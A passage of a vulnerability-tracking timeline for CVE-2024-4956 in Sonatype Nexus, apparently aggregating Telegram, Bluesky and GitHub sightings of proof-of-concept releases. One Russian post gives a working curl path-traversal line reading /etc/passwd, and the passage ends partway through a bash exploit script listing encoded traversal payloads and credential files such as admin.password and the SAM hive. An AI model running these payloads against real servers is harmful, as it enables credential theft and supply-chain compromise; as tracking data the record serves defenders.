Pack\nhttps://ift.tt/wRyUYxV\n\nDiscuss on Reddit : https://ift.tt/RTNCo2i\n@redteamalerts", "url": "https://t.me/Blackhat_Officials/1030"}, {"timestamp": "2024-06-09T12:53:37Z", "date_only": false, "value": "2024-06-09T12:53:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7580", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "03a61f8c-5a48-468f-ae68-659e8b413777", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC - CVE-2024\u20134956 - Nexus Repository Manager 3 Unauthenticated Path Traversal\nURL\uff1ahttps://github.com/verylazytech/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7580"}, {"timestamp": "2024-06-10T08:45:01Z", "date_only": false, "value": "2024-06-10T08:45:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ap_security/573", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "204ed4c9-8082-4403-8fec-23fc4ea46af8", "content": "#pentest \n\n\ud83e\udded CVE-2024-4956 (Sonatype Repo 3)\n\n\u270f\ufe0f Sonatype Nexus \u2013 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 Java (Maven), \u043e\u0431\u0440\u0430\u0437\u0430\u043c\u0438 Docker, Python, Ruby, NPM, Bower, RPM-\u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438, gitlfs, Apt, Go, Nuget, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435.\n\n\u2699\ufe0f \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Sonatype Nexus 3 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.68.1.", "url": "https://t.me/ap_security/573"}, {"timestamp": "2024-06-13T18:36:11Z", "date_only": false, "value": "2024-06-13T18:36:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/8818", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a1bc2a39-c075-446f-8506-679a9f03650c", "content": "POC\u200a\u2014\u200aCVE-2024\u20134956 -Unauthenticated Path Traversal\n\nhttps://medium.com/@verylazytech/poc-cve-2024-4956-unauthenticated-path-traversal-f24b1a595e0e", "url": "https://t.me/thebugbountyhunter/8818"}, {"timestamp": "2024-06-17T14:01:17Z", "date_only": false, "value": "2024-06-17T14:01:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/156", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "e5c6dc3d-66db-4ea5-bd74-9207209ab767", "content": "Tools - Hackers Factory\n\nAn incredibly fast proxy checker & IP rotator with ease. \n\nhttps://github.com/kitabisa/mubeng\n\n[CVE-2024-4956] Nexus Repository Manager 3 Unauthenticated Path Traversal Bulk Scanner \n\nhttps://github.com/ifconfig-me/CVE-2024-4956-Bulk-Scanner/\n\nRepository to house markdown templates for researchers \n\nhttps://github.com/bugcrowd/templates\n\nPython for AWAE (Advanced Web Attacks and Exploitation) \n\nhttps://github.com/shreyaschavhan/python-for-awae\n\nA tool for collecting RDP, web and VNC screenshots all in one place \n\nhttps://github.com/nccgroup/scrying\n\nJeeves SQLI Finder \n\nhttps://github.com/ferreiraklet/Jeeves\n\nThe Frida-Jit-unPacker aims at helping researchers and analysts understand the behavior of packed malicious .NET samples. \n\nhttps://github.com/imperva/frida-jit-unpacker\n\nExploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() \n\nhttps://github.com/ambionics/cnext-exploits?tab=readme-ov-file\n\n\u53bb\u4e2d\u5fc3\u5316\u8fdc\u7a0b\u63a7\u5236\u5de5\u5177\uff08Decentralized Remote Administration Tool\uff09\uff0c\u901a\u8fc7ENS\u5b9e\u73b0\u4e86\u914d\u7f6e\u6587\u4ef6\u5206\u53d1\u7684\u53bb\u4e2d\u5fc3\u5316\uff0c\u901a\u8fc7Telegram\u5b9e\u73b0\u4e86\u670d\u52a1\u7aef\u7684\u53bb\u4e2d\u5fc3\u5316 \n\nhttps://github.com/SpenserCai/DRat\n\nAbusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. \n\nhttps://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV\n\nCollection of references to write-ups, blog posts and papers related to cybersecurity, reverse engineering and exploitation (constantly updated)\n\nhttps://github.com/0xor0ne/awesome-list/blob/main/topics/cybersec.md\n\nGitHub - yoryio/CVE-2024-20767: Exploit for CVE-2024-20767 - Adobe ColdFusion\n\nhttps://github.com/yoryio/CVE-2024-20767\n\nGitHub - TracecatHQ/tracecat: \ud83d\ude3c The open source alternative to Tines / Splunk SOAR. Build AI-assisted workflows, orchestrate alerts, and close cases fast.\n\nhttps://github.com/TracecatHQ/tracecat\n\nGitHub - sarperavci/CloudflareBypassForScraping: A cloudflare verification bypass script for webscraping\n\nhttps://github.com/sarperavci/CloudflareBypassForScraping\n\n#HackersFactory", "url": "https://t.me/CyberDilara/156"}, {"timestamp": "2024-06-20T13:05:42Z", "date_only": false, "value": "2024-06-20T13:05:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/purple_medved/257", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "69004dc3-054f-406a-87e9-1d5c8399c9f7", "content": "\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-4956 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSS=7.5) \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 path traversal \u0432 Sonatype Nexus Repository 3.x \n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0435\u0434\u043e\u043e\u0446\u0435\u043d\u0451\u043d\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0438\u043c\u0435\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f supply chain \u0430\u0442\u0430\u043a, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0443 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e open-source \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\nSonatype Nexus Repository \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432. \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: Java (Maven), \u043e\u0431\u0440\u0430\u0437\u044b Docker, Python, Ruby, NPM, Bower, RPM-\u043f\u0430\u043a\u0435\u0442\u044b, gitlfs, apt, Go, Nuget \u0438 \u043f\u0440.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0447\u0435\u043d\u044c \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u041f\u041e:\ncurl https://nexus_target/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n\n\u041d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0445\u043e\u0442\u0438\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u0438\u043a\u0438, \u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u043f\u0440\u043e\u0442\u0440\u043e\u044f\u043d\u0438\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a \ud83d\ude0e\nNexus \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Apache Shiro 1 \u0445\u0435\u0448\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0438\u0437 OrientDB .pcl \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 Hashcat \u043d\u0435 \u0443\u043c\u0435\u043b \u0432 Shiro 1, \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043a\u0430 Dylan Evans aka fin3ss3g0d \u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044c - mode 12150, \u0430 \u0437\u0430\u043e\u0434\u043d\u043e \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\ud83d\udc4d\n\n\u2699\ufe0f POC: https://github.com/fin3ss3g0d/CVE-2024-4956\n\ud83d\udd0e Shodan: title:\"Sonatype Nexus Repository\"\n\ud83d\udd0e Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-4956.yaml\n\ud83e\udeb2 \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e: Sonatype Nexus Repository OSS/Pro \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.68.1\n\u2705 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438: \u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.68.1", "url": "https://t.me/purple_medved/257"}, {"timestamp": "2024-06-29T13:27:15Z", "date_only": false, "value": "2024-06-29T13:27:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7442", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "2f1d3490-dca2-4f5c-9ecd-f2767d907f73", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 : Nexus Repository Manager 3 poc exploit\nURL\uff1ahttps://github.com/GoatSecurity/CVE-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7442"}, {"timestamp": "2024-07-07T00:00:00Z", "date_only": true, "value": "2024-07-07", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2024-28353", "record": "CNVD-2024-28353", "field": "openTime"}, {"timestamp": "2024-08-01T20:55:10.367Z", "date_only": false, "value": "2024-08-01T20:55:10.367Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-4956", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-01T20:55:10.367Z", "date_only": false, "value": "2024-08-01T20:55:10.367Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-4956", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T18:09:08.255Z", "date_only": false, "value": "2024-08-15T18:09:08.255+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1174", "record": "WID-SEC-W-2024-1174", "field": "document.tracking.generator.date"}, {"timestamp": "2024-08-22T10:54:42Z", "date_only": false, "value": "2024-08-22T10:54:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/6GnqD5t4jjFrRtr1HdioC3NHJPJJ6vXIl9yDebqxFDllabs", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "03ed6143-6f49-4072-8de1-cd55e9a29446"}, {"timestamp": "2024-10-04T22:27:21Z", "date_only": false, "value": "2024-10-04T22:27:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8679", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "ad691032-5dd9-4b47-9b96-00ae6015091c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aSimple hash cracker for Apache Shiro hashes written in Golang. Useful for exploiting CVE-2024-4956.\nURL\uff1ahttps://github.com/An00bRektn/shirocrack\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8679"}, {"timestamp": "2024-12-12T04:06:47Z", "date_only": false, "value": "2024-12-12T04:06:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/9394", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "221acd57-3af6-4968-b983-1b42e5b5a9e4", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4956 Python exploitation utility\nURL\uff1ahttps://github.com/XiaomingX/cve-2024-4956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/9394"}, {"timestamp": "2025-01-02T16:20:33.796Z", "date_only": false, "value": "2025-01-02T16:20:33.796772Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberguider.bsky.social/post/3leri7cakqc2z", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "4d1c746b-3f09-4e24-86d9-bcf60b55e345", "url": "https://bsky.app/profile/cyberguider.bsky.social/post/3leri7cakqc2z"}, {"timestamp": "2025-03-26T20:00:07Z", "date_only": false, "value": "2025-03-26T20:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/vQ0Sm3TCgGLw115KTy13Xlz5wNa50qfz0GIGSnr52V26EMk", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "1811b703-ec17-46ec-86ff-75beebf7f7b4"}, {"timestamp": "2025-03-26T22:00:05Z", "date_only": false, "value": "2025-03-26T22:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/u4QW-PhXvOdEz-DPSjg467lSb3twIBu6R_ivSGfCYMMnQBw", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "0caf6d5d-47c3-4d59-b1ea-6b3be161c72b"}, {"timestamp": "2025-03-28T16:51:07.228Z", "date_only": false, "value": "2025-03-28T16:51:07.228439Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3llhbk7i2im2h", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "9a8db6f1-f865-440f-bdb1-e9bb4e5aeab7", "url": "https://bsky.app/profile/nimblenerd.social/post/3llhbk7i2im2h"}, {"timestamp": "2025-03-29T21:02:06.554Z", "date_only": false, "value": "2025-03-29T21:02:06.554286Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llk7zvit4m2c", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "e9d954ad-504f-4971-be32-dd11a82a9005", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llk7zvit4m2c"}, {"timestamp": "2025-04-22T02:52:22Z", "date_only": false, "value": "2025-04-22T02:52:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/AGENTZSECURITY/1253", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "8ee03237-85e7-4774-98e7-142fdcb4e4a2", "content": "https://github.com/toramanemre/log4j-rce-detect-waf-bypass\nhttps://github.com/trickest/log4j\nhttps://github.com/twseptian/custom-nuclei-templates\nhttps://github.com/umityn/my-nuclei-templates\nhttps://github.com/v3l4r10/Nuclei-Templates\nhttps://github.com/valaDevs/env-js-nuclei\nhttps://github.com/valaDevs/nuclei-backupfile-finder\nhttps://github.com/vidocsecurity/templates\nhttps://github.com/vishal12300/all_nuclei_templatess\nhttps://github.com/vsh00t/nuclei-templates\nhttps://github.com/vulnspace/nuclei-templates\nhttps://github.com/wasp76b/nuclei-templates\nhttps://github.com/wearetyomsmnv/llm_integrated_nuclei_templates\nhttps://github.com/websecresearch/nucleirecordloginsession\nhttps://github.com/windyGarlic/my-nuclei-templates\nhttps://github.com/windyGarlic/nuclei-templates\nhttps://github.com/wr00t/templates\nhttps://github.com/xelemental/Nuclei-Templates\nhttps://github.com/xinZa1/template\nhttps://github.com/xjhonly/nuclei-templates\nhttps://github.com/yarovit-developer/nuclei-templates\nhttps://github.com/yavolo/nuclei-templates\nhttps://github.com/z3bd/nuclei-templates\nhttps://github.com/zer0yu/Open-PoC\nhttps://github.com/zinminphyo0/KozinTemplates\nhttps://github.com/zodmagus/z0ds3c-Nuclei-Templates\nhttps://github.com/Christbowel/CVE-2024-25600_Nuclei-Template\nhttps://github.com/0xr2r/templates-nucleir2r\nhttps://github.com/al00000000al/my_nuclei_templates\nhttps://github.com/JohnDoeAnonITA/NucleiTemplatePRV\nhttps://github.com/emo-crab/scap-rs\nhttps://github.com/blackvitasoy/nuclei_templates\nhttps://github.com/BattalFaikAktas/custom-nuclei-templates\nhttps://github.com/0xc4sper0/Nuclei-templates\nhttps://github.com/abletsoff/custom-nuclei-templates\nhttps://github.com/rzizah/private-nuclei-template\nhttps://github.com/0xPugal/my-nuclei-templates\nhttps://github.com/jhonnybonny/nuclei-templates-bitrix\nhttps://github.com/Anja-dhnd/templates4nuclei\nhttps://github.com/andersonmv/Nuclei_Templates\nhttps://github.com/pushpak-11/nuclei-templates\nhttps://github.com/chudamax/custom_nuclei_templates\nhttps://github.com/emadshanab/nuclei-bitrix-templates\nhttps://github.com/Sachinart/manual-nuclei-templates\nhttps://github.com/exploit-io/nuclei-fuzz-templates\nhttps://github.com/hackersupcoming/Nuclei_Templates\nhttps://github.com/DiabloHTB/Nuclei-Template-CVE-2024-1561\nhttps://github.com/niranc/Nuclei-personal-templates\nhttps://github.com/Loftven/BIZONE_WAF_DETECt\nhttps://github.com/YashVardhanTrip/nuclei-templates-initial-access\nhttps://github.com/Saitle/Yamilicious\nhttps://github.com/SalehLardhi/nuclei-wp-config-php\nhttps://github.com/c3rrberu5/CVE-2024-24919\nhttps://github.com/0x20c/CVE-2024-4577-nuclei\nhttps://github.com/xungzzz/CVE-2024-4956\nhttps://github.com/ZephrFish/CVE-2024-4577-PHP-RCE\nhttps://github.com/Term1N8/nuclei-templates\nhttps://github.com/KhukuriRimal/CustomNucleiTemplates\nhttps://github.com/stuxctf/nuclei-templates-stux\nhttps://github.com/megamindmeg/Templates\nhttps://github.com/TolgaTD/Nuclei-Custom-Templates\nhttps://github.com/adibarsyad/nuclei-ios\nhttps://github.com/Sysc4ll3r/CVE-2024-4577\nhttps://github.com/adibarsyad/nuclei-jsp-source-code-review\nhttps://github.com/edoardottt/RFDos-Scanner\nhttps://github.com/banditzCyber0x/template\nhttps://github.com/sardine-web/polaris-web-reflected-xss.git\nhttps://github.com/Josekutty-K/nuclei-templates\nhttps://github.com/Mamilate/3-Nuclei-Templates\nhttps://github.com/ReksySec/3Nucleit-Templates\nhttps://github.com/Mohsenalmamun/Nuclei-Template\nhttps://github.com/K3ysTr0K3R/Custom-Nuclei-Templates\nhttps://github.com/br0wnst4n11/Custom_Nuclei_Templates\nhttps://github.com/juanschallibaum/CVE-2024-38473-Nuclei-Template\nhttps://github.com/fa-rrel/Nuclei-templates-xd \nhttps://github.com/superhexa/nuclei-templates\nhttps://github.com/ts4rin4/templates4nuclei\nhttps://github.com/jhonnybonny/nuclei-templates", "url": "https://t.me/AGENTZSECURITY/1253"}, {"timestamp": "2025-08-24T21:00:04Z", "date_only": false, "value": "2025-08-24T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/biY2bjchNPIPtBraoWF4HOnZ3MCv21oYLrAQJyWnavm_-Yo", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "1b9ebdcd-7d12-49e1-8e16-c81e1459a5d3"}, {"timestamp": "2025-08-24T23:00:10Z", "date_only": false, "value": "2025-08-24T23:00:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/tgq21o80OQlALYIQSpL0-u0-raMvtIm88mJXkULf75Oh7hQ", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "524e9bea-1243-4148-b933-2a28594da9db"}, {"timestamp": "2025-09-10T21:00:04Z", "date_only": false, "value": "2025-09-10T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/D3HE0UJzaDXkbj1Vn-7PfkAGqYuP8zCVKwhuLhP2f-Hh7ek", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "0ffb9644-7709-4988-96c1-31de94002f7a"}, {"timestamp": "2026-06-17T08:03:16.190Z", "date_only": false, "value": "2026-06-17T08:03:16.190", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-4956", "record": "FKIE_CVE-2024-4956", "field": "lastModified"}, {"timestamp": "2026-06-23T09:55:43Z", "date_only": false, "value": "2026-06-23T09:55:43.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/stillbigjosh/345cd67cfb56e7e4f4f7eb9da9c20127", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a6831b7c-5d64-4555-b1ce-ea14b8adb579", "content": "#!/bin/bash\n# CVE-2024-4956 - Sonatype Nexus Repository Manager Path Traversal\n# Windows-compatible version with embedded wordlists\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nCYAN='\\033[0;36m'\nNC='\\033[0m'\n\n# Traversal payload variations - the key difference for Windows\nTRAVERSALS=(\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..\"\n    # Encoded backslash variations\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..\"\n    # Mixed slash variations\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%2F..%5C..%2F..%5C..%2F..\"\n    # Fewer leading slashes\n    \"/%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n)\n\n# Windows file wordlist - forward slashes (curl handles this)\nWIN_FILES=(\n    # === PROOF OF VULN ===\n    \"Windows/win.ini\"\n    \"Windows/System32/drivers/etc/hosts\"\n    \"Windows/System32/license.rtf\"\n    \"Windows/System32/config/RegBack/SAM\"\n\n    # === NEXUS CONFIG - Standard install paths ===\n    # Default: C:\\nexus or C:\\Program Files\\nexus\n    \"nexus/sonatype-work/nexus3/etc/nexus.properties\"\n    \"nexus/sonatype-work/nexus3/admin.password\"\n    \"nexus/sonatype-work/nexus3/etc/nexus-default.properties\"\n    \"nexus/sonatype-work/nexus3/log/nexus.log\"\n    \"nexus/sonatype-work/nexus3/log/request.log\"\n    \"nexus/sonatype-work/nexus3/etc/fabric/nexus-store.properties\"\n    \"nexus/sonatype-work/nexus3/db/security\"\n    \"nexus/sonatype-work/nexus3/keystores/node/keystore.properties\"\n    \"nexus/etc/nexus-default.properties\"\n    \"nexus/bin/nexus.vmoptions\"\n\n    # Program Files variations\n    \"Program Files/nexus/sonatype-work/nexus3/etc/nexus.properties\"\n    \"Program Files/nexus/sonatype-work/nexus3/admin.password\"\n    \"Program 